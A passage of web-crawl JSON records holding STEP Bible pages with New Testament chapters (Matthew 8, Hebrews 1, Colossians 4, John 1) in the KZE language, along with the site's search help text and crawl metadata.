2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.16","date":"2018-04-23T01:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00262.warc.gz","language":"kze","language_score":0.999974966,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999749660491943}","num_words":869,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 8\nÍsu áúmo karón-kwaasi kaweꞋá umánkarain-kwasai.1 táátavesa uwaná Ísu minómápákémbá kumúwasa sáwívarawai ánaaemba kwárówana 2 moóráwai áúmo karón-kwaasi ÍsunopaꞋa téna anóndakoman-iye séna aísamaivimba takívairena séna kentávénamo ankáínamo e kanaán-umai aúnáiꞋa umásinkaniyone súwana 3 Ísu ayáámba aneꞋá tátorena séna mirá ónaumpo enáúraꞋa karevúꞋa kawáúgwiye súwana avekáámbá kawáúguwana 4 Ísu séna enáúraꞋo umánkaunda-aimba simátimenavo enáúraꞋa kawáúgwimba po naaóváꞋó Mósesimo siráintemba monoꞋ-máyáí-kwáásítópaꞋa kwéma enáúma máagaraatinke póíma tímínasa Áánútuntavesa ísámai tuvúꞋmái agayáíyasa amáparawai awánésa áúrakemba kawáúgwiye sénááowe Ísu siráiye.\nÁrómáani-kwayoꞋnakona kwaasái.5 Ísu mináímbá simásuwena Kápénéamu-naopaꞋa kúwana Árómáani-i-kwaasiti kawáánáꞋá ména ÍsunopaꞋa téna asiramái séna 6 anóndakoo kesí kwayóꞋnáꞋá naaúmpaꞋa ména anón-aiꞋa isaná áúwawaako íma úwauwa kwéisana máyáiye súwana 7 Ísu séna koasóvamankanaumne súwana 8 kwemá séna kemá sáwíyan-kwaasi úmpo emá anón-kwaasi ómpo kesí naaúmpaꞋa íyínda uwóvíꞋa íníyompo ivátuwe aaiyé suꞋmai sinaná kesí kwayóꞋnáꞋá asóváíno. 9 kegwáráꞋá kawáá-máyáígóná ááimba awánaraunda kesí kawáánákó sisaꞋá kwená mayáí kwémaeꞋa kesí i-kwáásíyávéꞋa súnasa kesí mayáí kwémayaawe. moóráwaintaveꞋa séꞋa kwaaó súnana kwégwisaꞋa moóráwaintaveꞋa séꞋa tiyó súnana kwétisaꞋa kesí kwayóꞋnátávéꞋa mirá uwómó súndantemba mirá kwéivo úwoi aaiyé suꞋmai sinaná kesí kwayónáꞋá asóváíno súwana 10 Ísu mináímbá iséna áátavena éna kwenánaaembo kwaꞋmaésamo kun-kwáásíyóntávéna séna simátimeꞋa séꞋa minkwáásí Árómáani-kwaasigo kentávéna súwaꞋnaa ií-ásíráyámbá tokáiye kwésivo kesí kwaási Ísareri-kwaasivinkene óꞋon-kwaasivinkene íma mirán-áímbá kwésewe. 11 simátíménda ísáaro. aaváúmó usaipakéné kumpéráípakene óꞋon-oꞋon-ayampakene sáwívarawai tóyo ésa Áánútu kwená kwaásimo kawááipaꞋa mésa kentíkwáꞋná Ááváramuwe Áísákaawe Yákópowe toómbá nánááombanivo 12 mindárau tísaavutantambo uráawai miwí túma maé kwéiyesa sésa Áánútu kawááipata ménaumne kwésewai tíꞋmaena túnkwi-ayampaꞋa tiyuwáínasa iviꞋá kwétesa sáwíꞋa umái mésa túwááyaamba akévundanaaowe Ísu simátimena 13 Árómáani i-kwáásítí kawáánátávéna séna emó kentávémo séndantemba mirá onaná asóvanivo ená naaúmpaꞋa kwaaó súwana mitáwai kwená kwayóꞋnáꞋá asóvamaguraiye.\nÍsu tíꞋo ún-kwaasi asóvamatinkarain-kwasai.14 Ísu Pítaana naaúmpaꞋa uména awánómba Pítaa aísáankomba kokotámba kwéankowana máyowana 15 ayáánkaꞋa tátorowana minkókótámba ánásowana usásinkwena toómbá agaimái tímakaiye.\n16 toómbá timúwasa enónkaꞋa taraváá-kwámbó tirumpimbó máyon-kwaasi tíꞋmaesa ÍsunopaꞋa mátínkówana aaí séna taraváá-kwámbá tirumpinkémbá maitiyuwówasa kóuwana tíꞋo ún-kwaasi asóvamatinkaraiye. 17 naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Áísáya agaimaréna Ísuntavena séna\n- síꞋo kwéimba asóvasinkena\n- síꞋo kwéimba ánásamasinkaraiye\nÍsun-ánaaemba kwaránáe siráan-kwasai.18 moórá-tawai sáwívarawai tóyo ésa Ísuna egwaaꞋá máyówana tuwánéna kwená kwaásiyavena séna monkwaaúnkóná menávápátá kónáe súwana 19 moóráwai ámáámba sún-kwaasigo téna séna amápaꞋ-naopaꞋo nááíndavaꞋa esé naaónaumne súwana 20 Ísu minkwáásígómbá áísaa umai isánáe séna emó sénda súnda-aimba imáyáa uwo. kwaankó taaiyaivimbá kwégwaisana numaómá ánáamba úmarena kwégwaivo kemá kwaási úrandaꞋa kumpaáruraundawai íma naambá úmareꞋa kwégwaumne súwana 21 moóráwai kwenánaaemba kwakówai séna anóndakoo máyáanana kesivo puwínaꞋa utamánkeꞋa enánaaemba kwaránaumne súwana 22 Ísu séna ímanivo kesáái ímo isésamo pukáan-kwaasiraamba owáímá puwíyan-kwaasi utamátinkanaaovo emá kesínaaemba kwaraaó Ísu siráiye.\nanón-unda torówana Ísu maivairáin-kwasai.23 Ísu mináímbá simásuwena kwená kwayó-kwáásíyé nompí-sípívímbá usáatena nonkwaaúnkóná menávápáꞋá kúmba 24 Ísu aún-kwaigurówana minkwaaúmpáꞋá anón-unda torówana nonkó tuvántááva éna nompí-sípívímbá ógwitowasa kunávekunavo sésa 25 inkaisésa Ísumba koaúsesa sésa Ísóigo puwúnavaiya súwaꞋnaa uwo suwaná 26 nóintavaiya kwéinkaiseo. kentávéꞋa nóra séra íma kesí imáyáa onkákémbá kwéseo séna usásinena asiramái séna úndáonte nonkóntéyavena maiváyáakaiyo súwasarai úndáoe nonkóe maiváyóyana nonkómá kararépaguwana 27 tááꞋa kówasa keáímbá sésa nóran-kwaasiya énawa úndáoe nonkóe kwenáái kwéisaiyo sésa tiyáámba uvakésa táátavesa ésa siráawe.\ntaraváá-kwámbá maitíyukain-kwasai.28 simásuwesa mindómpí-sípívímbá kumbá Káríri-marama tínaaempaꞋa kwáyowana Kégésaa-marama túrampaꞋa kwáyowasa mimbáráváꞋá kumbá Ísu mindómpí-sípívínkémbá ásávowasarai kaeꞋnárai kwenópaꞋa tiráái. minkáéꞋnárai taraváá-kwámbá tirumpimbá máyowasarai kwaásimo utamátínkóm-buri-aivaꞋa mésarai túwáávite kwéuyasa kwaási inkaisésa minkáéꞋnáraimo máyóyapaꞋa íma kwéguwasarai minkáéꞋnárai ÍsunopaꞋa tésarai 29 anónkaꞋa sésarai Áánútu ááninkoo sínkami-kanaa íma tiráisasa sínkaminiyerai kwéteno suyasá 30 egwaaꞋá sáwíva-poima mésa umá kwénowasa 31 minkáéꞋnárai tirumpinkén-táráváá-kwántómbá Ísuntavesa sésa siꞋmátuweyaamo e mimpóí tirumpimbá siꞋmaraaó suwaná 32 mirán-oro súwasa taraváá-kwántómbá minkáéꞋnárai tirumpinkémbá kárúwesa póí-tirumpimba kovérówasa mimpóíyómbá amápaꞋa ámémpakemba isaaisésa nonkwaaúmpíntá kumpérómba putásowasa 33 póíraꞋo tavíkówai awánésa avekáán-umai naaópaꞋa kwésa póígomo úne Ísumo minkáéꞋnáraimo umátinkone mósimatim-besimati uwasá 34 isésa koawánanae sésa kumbá koawánésa Ísuntavesa sésa maambáráváꞋá ivá siyuwéya kóaao siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.8","date":"2018-04-21T17:35:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945272.41\/warc\/CC-MAIN-20180421164646-20180421184646-00389.warc.gz","language":"kze","language_score":0.9999877214,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999877214431763}","num_words":726,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 1\nÁánútu ááninko áwíkoma kwíyómpaken-kwayoꞋnarawa túwíkomba usáyaaitarain-kwasai.1 naaóváꞋá moórá-mora-tawai Áánútu kwenáái simátímakowaiyavena súwasa miwí Áánútu siráin-aimba mirám-biran-aimba kentáá síkwáꞋnáyomba simátímaꞋmae tiráimba isaná 2 ívéꞋa naaén-kanaavimba Áánútu ááninko Áánútun-aai simásímakaintaawe. naaóváꞋá kwíyómba maramá íma kwáyonkaꞋa Áánútu súwana ááninko kwíyómba maramá tarórumakena naaémba amápa-tantaakaꞋa kárákwiyiniye. 3 Áánútuna ságayanko ááninkompinkemba sáma kaisaná Áánútumo máyáintemba miráumai ména miráumaimo máyáiwai kentáá kwéagaraasinkaisana kwená asirayán-áínkóntávéna kwíyómba maramá kwaíkwaiꞋa kwéiye. kwemá pukáintavena kentáásí sáwí-imayaa maisiyuwéna pukáimpinkemba usásinena kwíyómpaꞋa iyéna Áánútu asirayámbó usáyaaitaraiwai ayáánúrapaꞋa asirayán-áyámpáꞋá maraꞋá ména 4 póna kwenáwíꞋa Áánútu ááninko áwíko póna Áánútuna kwíyómpaken-kwayoꞋnarawa túwíkomba usáyaaitaraiye.\n5 Áánútu kwená kwíyómpaken-kwayoꞋnarawatavena íma siráivo ááninkontavena séna\n- emá kesáánimba ónaꞋa\n- kesí mayáíráꞋá ánkaraumne\n- kemá avowámá úmae íyónana kwemá\n- kesááninko mirá úmae iyíníye\n- Áánútuna kwíyómpaken-kwayoꞋnarawaꞋa\n- kwená imáyáa mósá maránááowe\n- kemá súnasa kesí kwíyómpaken-kwayoꞋnarawaꞋa úndáraamba toꞋmaésa kwénaaowe. kemá súnasa kesí kwayóꞋnárawaꞋa tawáombo intenkáám-báyáí kwémayaawe\n- Áánútuwo kwaásiraꞋo kárákwimaemo íyínda íma ánásaniye. kárákwiyonda arupí umái kwégarakwiyone.\n- Ísóigoo ááinkaꞋa maramá taróre enayáándei kwíyómba taróruraanda\n- kesiyáánúrapaꞋa asirayán-áyámpáꞋá maraꞋá uménaꞋa ená namuro-kwáásí tínkamona emá usáyaaitaniyone\n14 mináímbá siráivo Áánútuna kwíyómpaken-kwayoꞋnarawaꞋa nórandarawaraꞋo. miwí íma túma kwáyáiwai timané suꞋmai kwáyáiwai ésa Áánútumo sintembá mirá kwéowana Áánútu simátimena séna kawer-ámpáꞋá métinkaunda-kwaasi kuntúwaꞋnaa oro séna kwétiꞋmaraiye. mindáyavena Áánútu ááninko áwíko kwíyómpaken-kwayoꞋnarawa túwíkomba usáyaaitaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.1","date":"2018-04-19T11:59:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936914.5\/warc\/CC-MAIN-20180419110948-20180419130948-00483.warc.gz","language":"kze","language_score":0.9997217059,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9997217059135437}","num_words":351,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 41 meéyámbakaan-kwaasiti anon-kwaasi ísáaro. kentí mayáí úwoi kwémayaan-kwaasiraꞋa arupí umái kaweꞋá umái kárákwireꞋa maarán-áímbá imáyáa oro. miwítí anóndakoe kentí anóndakoe mimbóráwáímá éna kwíyómpaꞋa máyáivo arupí umái kárákwiyoro.\nnámúnaa sésa arupí umái maésa owáíná kwaasái.2 amáparawai ísáaro. námúnaa símae kwéiyeꞋa mirá kwéomba íma óꞋon-oꞋon-imayaa éꞋa námúnaamo kwésen-imayaa éꞋa ÁánútumpaꞋa súwi seró. 3 námúnaamo kwésemba kentááyáváígwáráꞋá súwaꞋnaa umai seró. Áánútumba áísaa íyana aambá kwiyínata áséi-kwasaiya simátimenaumne. mináímbá aúpáꞋá makéna agaráátínkaraimba mináínkóná ááimba Ísu Káráísitiman-iye. aúpáꞋó makéna agaráátínkarain-aimba simátimewandarakemba áwááꞋa siyésa ándávaꞋa mósínkaraawe. 4 Áánútu mimbáyáí símakowaꞋa mairáundanivo kwenáái avoraꞋá simátimenaundayaveꞋa súwaꞋnaa umai námúnaa seró.\n5 ÁánútumpaꞋa íma tamáyáan-kwaasivimba kawer-imáyáávínkémbá kaweꞋá umái méꞋa kanaamó kwáyaindaraꞋa miwívímbá Áánútuna mayáí maimaé íyóro. 6 aaimó kwésemba kawer-áíné áséi-aine suꞋmai kwésemba pósa tísaa íyamba anondámo simátimiyan-aimba íma avakáá éꞋa áséi-aine suꞋmai simátíméro.\n7 kentáásí kwaásigo áwíꞋa Tikikása kwená imáyáa kwéundawai kentópaꞋa kweémena kesáái amápaꞋa kosimátiminiye. kesáámó úndantemba Ísóigona mayáí-kwáásí ména mimbáyáí íma ivátuwena kaweꞋá umái kwémaena 8 kentáásáái kosimátimena asiramátinkanintaveꞋa aiꞋmaráúnana kentópaꞋa kweémena kwíníye. 9 moóráwai kentí naaópakewai áwíꞋa Ónísímasi kwemá kentáásí kwaásigo éna kwená imáyáa kwéundawai kaweꞋ-máyáí kwémayaiwai kwesé kwémesarai kentáávímbá paárurain-tantaakon-aai kosimátimeyaaoiye.\n10 moóráwai áwíꞋa Árísítakasi kesé ándávaꞋa máyáiwai keinárawatavena séna kaweꞋá umái máéro kwésisana Páánápáasi anáávéígo áwíꞋa Mááka keinárawatavena séna kaweꞋá umái máéro kwésisana moóráwai áwíꞋa Yósúwa moórá-kwiꞋa Yásátasi keinárawatavena séna kaweꞋá umái máéro kwésiye. kéꞋnaamba maanáímbá simátimeꞋa séꞋa Máákaamo kentópaꞋo kwémenamo kwínímbo éꞋa kaweꞋá umánkáaro kwésune. Yútaa-kwaasi Ísu Káráísitiye tarúmaimo máyáampinkemba minkáúmbó-kwáásíyé suꞋmai kesé mayáí kwémaesa Áánútumo kárákwiraipaꞋo kwaásimo ménaaontavesa kesé mayáí kwémaesa kwéasiramasinkaawe.\n12 moóráwai kentí naaópakewai áwíꞋa Épávarasi keinárawatavena séna kaweꞋá umái máéro kwésena kwemá Ísu Káráísitina mayáí-kwáásí éna keinárawaꞋa túwaꞋnaa umai asiramái námúnaa símae kwéiyena ÁánútumpaꞋa maarán-áímbá kwésiye. Áánútun-aai asiramái tátoꞋmai kaweꞋá éꞋa Áánútumbo arááímo tainíꞋa amápaꞋa kwéeꞋa táákaevayan-kwaasiraamba umái asiramái ménaaontavena mindáyavena námúnaa kwésiye. 13 keinárawaꞋa Kórósi-naopaken-kwaasiye Áréótísiyaa-naopaken-kwaasiye Írápórisi-naopaken-kwaasiye túwaꞋnaa íníntavena anóm-bayai kwémayaimba awánéꞋa kwésimatimune. 14 moóráwai áwíꞋa Árúku kwená imáyáa kwéundawaiya kentáásí sontaa-kwáásí éna keinárawatavena séna kaweꞋá umái máéro kwésisana moóráwai áwíꞋa Tímasi keinárawatavena séna kaweꞋá umái máéro kwésiye.\n15 Áánútuna kwaási Áréótísiyaa-naopakewaiyaveta séta kaweꞋá umái máéro kwéseta Áánútuna kwaási Nímpaana naaúmpaꞋa torupamái máyáawaiyaveta séta kaweꞋá umái máéro kwésunda kosimátíméro. 16 maanáúváívínkén-áímbá táámpamai síyaꞋa amáparawai isáíyuweꞋa tiꞋmaráíyasa maimaésa Áánútuna kwaási Áréótísiyaa-naopaꞋa máyáawai mátimiyasa awánésa ísáaro. miwíyávéꞋa tímakaunda-auvai timíyaꞋa mimpínkén-áímbá ísáaro. 17 moóráwai Ákípáasimba simámeꞋa séꞋa Ísóigo ámakaim-bayai asiramái kwémae ánásaao siyé simáméro.\n18 ayááíráꞋa kemá Póro agaimaráúmpo awánéꞋa kwenayáánaviꞋa póna kwenááiman-iye séꞋa ísáaro. kemá Póro séꞋa kaweꞋá umái máéro kwésune. kemá ándávaꞋo máyaunda-imayaa kwéeꞋa ÁánútumpaꞋa námúnaa símae íyóro.\nÁánútu úwoimo kwétuwaꞋnaa-intaveꞋa námúnaa kwésune.\nkemá Póro súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Col.4","date":"2018-04-26T23:15:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948617.86\/warc\/CC-MAIN-20180426222608-20180427002608-00161.warc.gz","language":"kze","language_score":0.999992013,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999920129776001}","num_words":557,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 11 ááinkaꞋa maramá íma kwáyonkaꞋa Áánútuna imáyáama agaráátínkáiwaima kwenáwíꞋa Áánútun-aaigoman-iye. Áánútun-aaigoma aasiyaasí ména Áánútuwe ména kwemá Áánútuma póna 2 ááinkaꞋa Áánútun-aaigoma Áánútuwe ména 3 amápa-tantaaꞋa úmarowana Áánútu imáyáama amúwana amápa-tantaaꞋa minkánáá paárurain-tantaaꞋa úmakaiye.\n4 Áánútun-aaigoma kwaásimo maíꞋmaiꞋo ónááowaina ááimban-iye. miraúmai kwemá kwaásivimba sáma kamátinkena 5 túnín-ayampaꞋa sáma kaisaná túnín-tantaakoma sámo kain-tántáákómbá íma usáyaaitena uvisínkaiye. 6 moóráwai áwíꞋa Yóni máyowana Áánútuma aiꞋmaréna 7 sámo kain-áímbá maimaé amápa-kwaasivaꞋa kwinasá mináímbá isésa sésa áraiꞋa Ísu Káráísitima kwaási sáma kamátinkaiwaiman-iye sígwáe súwana 8 Yóni kwemá íma sámo kamátinkainaꞋa póna sámo kamátinkaindawain-aai maimaéna kuráiye. 9 Áánútun-aaigoma amápa-kwaasivimba sáma kamátinkaiwaiman-iye. Yóni simátímakainkaꞋa Áánútun-aaigoma marapá-kwáásívímbá kumpaáruraiye.\n10 Áánútun-aaigoma maramá tarórumakena marapáꞋá kumbáyowasa marapá-kwáásí kwená ááimba íma kaweꞋá umái awánaraawe. 11 kwenamáápaꞋa kumbáyowasa kwenamááraa íma paru umánkombanivo 12 évakarawai paru umánkesa kwentávésa sésa áraiꞋa Áánútunopakemba kunkáiye suwaná póna miwíyávéna séna Áánútuna iyámpóíyomban-owe siráiye. 13 kwaási kentí imáyáavinkeniꞋa umái kwématinkaavo Áánútuna iyámpói íma miráumai Áánútuna iyámpóíraaniꞋa kwéowe. Áánútu kwená imáyáavinkemba umátínkáimba pósa Áánútuna iyámpóíraaniꞋa kwéowe.\n14 Áánútun-aaigoma kwaásima aúkena marapáꞋá ména kentáávímbá máyowata awánaraumne. paru-yántáákwárá arupí-yantaakwaraꞋa kwempímbá sáwívaꞋa kwáyon-kwaasi póna ságayankwara-kwaasi úwata awánaraumne. avowámá ááninkomba kímborawaimba póna ságayamba amúwana miságáyánkwáráꞋá máyowata awánaraumne.\n15 Yónima kwentávéna amápa-kwaasi simátimena séna kembá íma masínkaraankaꞋa kesínaaembo tíníwaima kweinónkáámbá paárurena ména póna kembá usáyaaitaraiye siráunda-aimba minkwáásíyávéꞋa siráumne siráiye.\n16 paru-yántááꞋá kwempímbá sáwívaꞋa kwáyáiwaima póna kentáá kaweꞋá kwéumasinkavata kwiyé. 17 naaóváꞋá Áánútu Mósesimba aiꞋmaréna séna kesí ámáámba simátimiyo séna naaémba Ísu Káráísitimba aiꞋmaréna séna parumó ií-yántááꞋá arupí-yantaaꞋa móruntimiyo siráiye. 18 naaóváꞋ-naovakwara ívékwaraꞋa marará-kwáásí Áánútun-aneꞋa íma awánaraambanivo kímborawai ááninkoma kwesé ména mimbóráíꞋa umái ména póna kwéagaraasinkaintaawe.\nYóni nombó pétinkaraiwaina kwaasái.19 Yérúsaremu-naopakemba Yútaa-kawaa-kwaasi monoꞋ-máyáí-kwáásínté Árívái-andaraken-kwaasiyonte tiꞋmárówasa YóninopaꞋa tésa áísaa esa sésa emá nááwaꞋono suwaná 20 Yóni íma umémpaꞋa tuwómba avoraꞋá séna Áánútumo usásinankaiwaima Káráísitima íma kemá úne súwasa 21 emá nááwaꞋo. Íráiyaa naaóváꞋá Áánútun-aai simátímakaiwaiyaꞋono suwaná Yóni séna ímaniye súwasa miwí sésa naaóváꞋá Áánútu séna kesáái simátiminiwai Mósesiraan-kwaasi aiꞋmáráanana kumíníye siráimba kwemá ewáꞋono suwaná Yóni séna ímaniye súwasa 22 miwí sésa nááwaꞋono súnaya simásimenda-aimba siꞋmákaawaiya kosimátimenaumne suwaná 23 Yóni simátimena séna Áánútun-aai simátímakowaima áwíꞋa Áísáya naaóváꞋá agaimaréna séna\nkavóná-maravaꞋa moóráwai ména aayamáírakemba séna Ísóigona aambá kwirankánááomba kwená aambá arupí íyana minámpáꞋá kwíno\nsiráimba mindá kemá úne Yóni súwasa 24 taáísaa-un-kwaasivinkemba évakaꞋa ámáán-kawaa-kwaasi miwímá 25 Yónimba áísaa esa sésa emó sémo Áánútumo usásinankaiwaima íma kemá úne. íma kemá Íráiyaama úne. Áánútun-aai simátiminiwaima Mósesiraan-kwaasi íma kemá úne. emó siráandanivo nóintavai nombá kwévetinkaano suwaná 26 Yóni séna kemá noné suꞋmai kwévetinkaunana kentí avumpimbó moóráwaimo máyáimba íma kwéawanaamba póna 27 aáno kesínaaemba tíndawaima kwemó aaimó síndavimba kemá aaimá sendamá uwóvíꞋa ónaumne. kwená mayáímá kwémayaundayaveꞋa póꞋa kemá úwoi-kwaasi úne Yóni siráiye. 28 Yótáni-nonkona menávápáꞋá Pétáni-naopaꞋa Yóni nombá kwévetinkowasa áísaa uwaná Yóni mináímbá siráiye.\nÍsuna kwaasái Yóni simátímakain-kwasai.29 simásuwena usá aaváyaaraamba Ísumo túmba Yóni awánéna simátimena séna kentí sáwí-imayaayavesa ísámai sipisípi-araaꞋo tuvúwówanamo púwísasamo Áánútumbo áméntemba kwétin-kwaasi amápa-kwaasiti sáwí-imayaayavena ísámai maitiyuwáíndayavena póna puwíníye. mindáyavena Áánútu aiꞋmáráísana kúmímba póna puwíníye. 30 kembá íma masínkaraankaꞋa kesínaaembo tíníwaima kweinónkáámbá ména kembá kwéusayaaitaiyemo siráunda-aimba minkwáásíyávéꞋa siráumne. 31 Áánútumo usásinankaiwain-aai iséꞋa nááwantavesa seéo siráunda isaꞋá nombá kwévetinkaunda pósa Ísareri-kwaasi kwembá kaweꞋá umái awánanaaowe Yóni siráiye.\n32 Yóni awánaron-aimba simátimena séna Áánútumo usásinankaiwaintaveꞋa séꞋa nááwaꞋiyo siráunda kwíyómpakemba Áánútun-amankoma mááiraamba úmaena kwenaneꞋá kumbáísaꞋa awánéꞋa sáákaꞋa makáunda póna Áánútu siꞋmákaiwaima séna nombá kwévetinkenana kesimankómá moórá-kwaasigo aneꞋá kumbaína emá awáné se Áánútun-amankoma tirumpimbá anómba umátinkaniwaiman-iye siráin-aimba sáákaꞋa makáundaraꞋa póna mirámó imbá awánéꞋa simátimeꞋa séꞋa kwemá Áánútu ááninkoman-iye Yóni siráiye.\nÉndaruwe Pítaae Ísun-ánaaemba kwakááyan-kwasai.35 simásuwena usá aaváyaaraamba Yóniye kwená kwayó-kwáásíráíyé mésaya 36 Ísumo kúmba awánésaya uwaná Yóni séna minkwáásí Áánútu aiꞋmákain-kwaasi póna amápa-kwaasiti sáwí-imayaayavena ísámai puwíníye. kentí sáwí-imayaayavesa ísámai sipisípi-araaꞋo tuvúwówanamo púwísasamo Áánútumbo áméntemba amápa-kwaasiti sáwí-imayaayavena ísámai puwíníye súwasarai 37 mindárai isésarai Ísun-ánaaemba kwáróyana 38 Ísu kogwanténa métuwanena séna nóintavaiyaꞋoyo súwasarai miwí tááivinkemba sésarai Araapaiyo náávara kwémaeno kwántámai sésarai anóndakoo náávara kwémaeno suyaná 39 Ísu séna taawánaakaiyo súwasarai kwesé kuyambá mindáúmpáꞋá komésaya aaváúmá toraétáápaꞋa marónkaꞋa komáyáawe.\n40 Yóni siráin-aimba iséna Ísun-ánaaemba kwakón-kwaasi moóráwai áwíꞋa Éndaru kwemá Sáímoni Pítaa ávákoma póna 41 aivaꞋá awaaómá avakáá-umai awánéna séna Áánútumo usásinankaiwaima Mésíyaa máyáísaꞋa awánaraumne sirái. Mésíyaawe-kwiꞋa kwántámai Kíríki-kwaasi tááivinkemba Káráísitiye sembá mináwíkóná ááimba Áánútumo usásinankaiwaiman-iye kwésewe. 42 Sáímonimba áíꞋmaena ÍsunopaꞋa tuyaná Ísu awánéna séna Yóni ááninkoma úne. enáwíꞋa Sáímoniye. moórá-kwiꞋa Pítaawe simánkaumne Ísu siráiye. miwí tááivinkemba Pítaawemo sembá anón-ontankowe kwésewe.\nVírípiye Nátáníyoe Ísun-ánaaemba kwakááyan-kwasai.43 usá aaváyaaraamba Ísu séna Káríri-ayampaꞋa kónáe séna Vírípimba avakáá-umai áíꞋmaena séna kesínaaemba kwaraaó siráiye. 44 kwemá Pétésáítavakemba Éndarunte Pítaantei naaópaken-kwaasiman-iye. 45 Vírípima Nátáníyomba avakáá-éna séna Mósesiye Áánútun-aai simátímakowaiye Áánútun-aai aúváívimba agaimarésamo siráan-kwaasigonta awánaraumne. kwemá Násáreti-naopakemba Yósépi ááninko áwíꞋa Ísuman-iye súwana 46 Nátáníyo séna kesáámó súndaya Násáreti-naopakemba íma kawe-kwáásímán-iye kwésune súwana Vírípi séna taawánaao súwasarai 47 kuyambá Ísu Nátáníyomba awánéna séna mendá áraiꞋa ÍsarerinaꞋa íma kampar-ímáyáámá kwáyáindaꞋa kwétiye súwana 48 Nátáníyo áísaa ena séna nóintavaiya kesí imáyáama suwánéwa seénó súwana Ísu séna Vírípima íma ááyarainkaꞋa ená naaópaꞋa víki-taaigona ááinkaꞋa máyaanaꞋa kesí imáyáavinkemba awánaraumne súwana 49 Nátáníyo séna anóndakoo emá Áánútu ááninko e Ísareri-kwaasi kentáásí kawáánáꞋá óne súwana 50 Ísu séna víki-taigona ááinkaꞋa máyaanaꞋa kesí imáyáavinkemba awánaraumne súndayavai kentáváí se áraire Áánútu ááninko óne kwésene. ená naaópaꞋa máyaanaꞋa imáyáavinkemba awáraundayavai sénda po mintántáákómbá usáyaaitanin-tantaaꞋa naaémba awánaniyone. 51 áraiꞋa simátimeꞋa séꞋa kwíyómpaꞋa sokón-tawaai taaínkaaꞋa ínasa kwíyómpakemba kwaási úrandaꞋa kumpaáruraundawaisopaꞋa kwíyómpaken-kwayoꞋnarawaꞋa iré kunke íyaꞋa tuwánanaaowe Ísu 